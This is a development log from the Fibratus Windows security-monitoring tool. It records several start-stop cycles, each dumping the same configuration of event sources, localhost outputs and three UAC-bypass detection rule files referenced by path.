level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T15:33:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T15:34:16+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T15:34:16+01:00 level=info msg=bootstrapping with pid 11252. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T15:34:16+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true content-type=>text/html port=>25 to=>[] enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-registry=>true stack-enrichment=>true enable-dns=>false enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true buffer-size=>512 min-buffers=>16 flush-interval=>1s enable-audit-api=>true enable-threadpool=>false enable-handle=>false enable-thread=>true enable-vamap=>true max-buffers=>36 enable-image=>true enable-mem=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 formatter=>text log-stdout=>true level=>info max-age=>0 max-backups=>15] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ enabled=>false trace-log=>false template-name=>fibratus healthcheck=>true flush-period=>1s timeout=>5s bulk-workers=>1 servers=>[http://127.0.0.1:9200] gzip-compression=>false sniff=>false healthcheck-interval=>10s index-name=>fibratus healthcheck-timeout=>5s] http=>[ serializer=>json timeout=>5s endpoints=>[] enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false method=>POST] eventlog=>[ enabled=>false level=>info] amqp=>[ exchange=>fibratus vhost=>/ passive=>false timeout=>5s delivery-mode=>transient exchange-type=>topic url=>amqp://localhost:5672 tls-insecure-skip-verify=>false durable=>false enabled=>false routing-key=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false enabled=>false skip-mmaps=>false skip-allocs=>false excluded-files=>[] fastscan=>true skip-registry=>false excluded-procs=>[] scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-27T15:34:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T15:34:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T15:48:54+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T15:48:54+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T15:48:54+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T15:49:28+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T15:49:28+01:00 level=info msg=bootstrapping with pid 18252. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T15:49:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false use-template=>true content-type=>text/html port=>25 to=>[]] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-fileio=>true enable-vamap=>true buffer-size=>512 max-buffers=>36 enable-image=>true enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-registry=>true enable-mem=>true enable-handle=>false enable-thread=>true enable-threadpool=>false stack-enrichment=>true min-buffers=>16 flush-interval=>1s enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true level=>info formatter=>text max-size=>100 max-backups=>15 max-age=>0] + output ......................... [ amqp=>[ exchange=>fibratus delivery-mode=>transient exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s vhost=>/ enabled=>false passive=>false durable=>false url=>amqp://localhost:5672 routing-key=>fibratus] http=>[ method=>POST enable-gzip=>false enabled=>false timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false serializer=>json] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ bulk-workers=>1 servers=>[http://127.0.0.1:9200] index-name=>fibratus enabled=>false healthcheck=>true gzip-compression=>false sniff=>false timeout=>5s healthcheck-interval=>10s trace-log=>false flush-period=>1s healthcheck-timeout=>5s template-name=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] scan-timeout=>10s skip-mmaps=>false enabled=>false fastscan=>true skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false skip-registry=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-27T15:49:29+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T15:49:31+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T15:50:05+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T15:50:05+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T15:50:05+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T15:51:51+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T15:51:51+01:00 level=info msg=bootstrapping with pid 16620. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T15:51:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] content-type=>text/html enabled=>false port=>25 use-template=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true enable-vamap=>true enable-threadpool=>false enable-dns=>false enable-image=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>true buffer-size=>512 enable-fileio=>true max-buffers=>36 enable-net=>true flush-interval=>1s enable-handle=>false enable-thread=>true stack-enrichment=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-backups=>15 max-age=>0 formatter=>text log-stdout=>true max-size=>100] + output ......................... [ eventlog=>[ enabled=>false level=>info] amqp=>[ vhost=>/ enabled=>false timeout=>5s passive=>false routing-key=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient exchange-type=>topic durable=>false exchange=>fibratus url=>amqp://localhost:5672] elasticsearch=>[ template-name=>fibratus timeout=>5s gzip-compression=>false enabled=>false index-name=>fibratus healthcheck-timeout=>5s healthcheck=>true bulk-workers=>1 sniff=>false trace-log=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] flush-period=>1s] http=>[ tls-insecure-skip-verify=>false timeout=>5s serializer=>json enable-gzip=>false endpoints=>[] enabled=>false method=>POST] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false fastscan=>true excluded-procs=>[] scan-timeout=>10s enabled=>false skip-registry=>false skip-files=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T15:51:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T15:51:53+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T15:52:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T15:52:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T15:52:26+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T15:57:48+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T15:57:48+01:00 level=info msg=bootstrapping with pid 16228. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T15:57:48+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ to=>[] port=>25 use-template=>true content-type=>text/html enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-net=>true enable-threadpool=>false stack-enrichment=>true enable-thread=>true enable-registry=>true enable-mem=>true buffer-size=>512 enable-dns=>false min-buffers=>16 flush-interval=>1s enable-vamap=>true enable-handle=>false enable-audit-api=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true formatter=>text max-size=>100 level=>info max-age=>0] + output ......................... [ http=>[ method=>POST endpoints=>[] serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s enabled=>false] amqp=>[ exchange=>fibratus durable=>false passive=>false exchange-type=>topic routing-key=>fibratus timeout=>5s delivery-mode=>transient vhost=>/ tls-insecure-skip-verify=>false enabled=>false url=>amqp://localhost:5672] elasticsearch=>[ healthcheck-timeout=>5s healthcheck-interval=>10s template-name=>fibratus gzip-compression=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false flush-period=>1s sniff=>false enabled=>false bulk-workers=>1 healthcheck=>true timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-mmaps=>false skip-files=>false fastscan=>true excluded-procs=>[] skip-allocs=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-27T15:57:48+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T15:57:50+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T15:59:51+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T15:59:51+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T15:59:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:04:15+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T16:04:15+01:00 level=info msg=bootstrapping with pid 17124. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T16:04:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true content-type=>text/html port=>25 enabled=>false to=>[]] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-dns=>false enable-audit-api=>true max-buffers=>36 enable-image=>true flush-interval=>1s buffer-size=>512 enable-threadpool=>false enable-mem=>true enable-vamap=>true enable-registry=>true stack-enrichment=>true enable-net=>true enable-fileio=>true min-buffers=>16 enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 log-stdout=>true max-age=>0 max-backups=>15 level=>info] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ gzip-compression=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck=>true sniff=>false healthcheck-interval=>10s template-name=>fibratus index-name=>fibratus trace-log=>false bulk-workers=>1 timeout=>5s enabled=>false] http=>[ serializer=>json endpoints=>[] tls-insecure-skip-verify=>false method=>POST enable-gzip=>false enabled=>false timeout=>5s] amqp=>[ passive=>false tls-insecure-skip-verify=>false enabled=>false exchange-type=>topic timeout=>5s vhost=>/ durable=>false url=>amqp://localhost:5672 exchange=>fibratus delivery-mode=>transient routing-key=>fibratus]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false skip-registry=>false excluded-files=>[] skip-files=>false enabled=>false skip-mmaps=>false scan-timeout=>10s excluded-procs=>[] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-27T16:04:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:04:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:04:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T16:04:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:04:55+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:11:28+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T16:11:28+01:00 level=info msg=bootstrapping with pid 7180. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T16:11:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 enabled=>false use-template=>true content-type=>text/html to=>[]] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ buffer-size=>512 enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true stack-enrichment=>true enable-vamap=>true enable-handle=>false min-buffers=>16 enable-audit-api=>true enable-thread=>true enable-net=>true enable-threadpool=>false flush-interval=>1s enable-mem=>true enable-fileio=>true enable-dns=>false max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text max-backups=>15 log-stdout=>true max-size=>100 level=>info] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ tls-insecure-skip-verify=>false serializer=>json enabled=>false enable-gzip=>false endpoints=>[] timeout=>5s method=>POST] amqp=>[ enabled=>false timeout=>5s exchange=>fibratus delivery-mode=>transient tls-insecure-skip-verify=>false exchange-type=>topic vhost=>/ durable=>false passive=>false routing-key=>fibratus url=>amqp://localhost:5672] elasticsearch=>[ healthcheck-timeout=>5s flush-period=>1s index-name=>fibratus trace-log=>false sniff=>false servers=>[http://127.0.0.1:9200] gzip-compression=>false enabled=>false timeout=>5s bulk-workers=>1 template-name=>fibratus healthcheck-interval=>10s healthcheck=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false scan-timeout=>10s enabled=>false fastscan=>true skip-allocs=>false excluded-procs=>[] skip-mmaps=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-27T16:11:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:11:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:14:39+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T16:14:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:14:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:15:00+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T16:15:00+01:00 level=info msg=bootstrapping with pid 2552. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T16:15:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] mail=>[ use-template=>true content-type=>text/html port=>25 enabled=>false to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true min-buffers=>16 enable-net=>true enable-image=>true enable-fileio=>true enable-dns=>false enable-threadpool=>false max-buffers=>36 enable-mem=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-thread=>true enable-audit-api=>true flush-interval=>1s enable-handle=>false stack-enrichment=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 formatter=>text log-stdout=>true level=>info max-backups=>15] + output ......................... [ http=>[ method=>POST enable-gzip=>false endpoints=>[] timeout=>5s serializer=>json enabled=>false tls-insecure-skip-verify=>false] amqp=>[ timeout=>5s passive=>false enabled=>false exchange=>fibratus tls-insecure-skip-verify=>false vhost=>/ exchange-type=>topic durable=>false routing-key=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient] elasticsearch=>[ timeout=>5s trace-log=>false healthcheck-interval=>10s enabled=>false template-name=>fibratus flush-period=>1s sniff=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s healthcheck=>true bulk-workers=>1 gzip-compression=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] enabled=>false excluded-files=>[] skip-files=>false fastscan=>true scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false skip-registry=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T16:15:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:15:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:20:56+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T16:20:56+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:20:56+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:24:19+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T16:24:19+01:00 level=info msg=bootstrapping with pid 13248. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T16:24:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false to=>[] use-template=>true port=>25 content-type=>text/html] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ max-buffers=>36 enable-image=>true enable-mem=>true enable-net=>true enable-threadpool=>false buffer-size=>512 enable-handle=>false enable-audit-api=>true enable-thread=>true stack-enrichment=>true enable-vamap=>true enable-fileio=>true enable-dns=>false enable-registry=>true min-buffers=>16 flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle 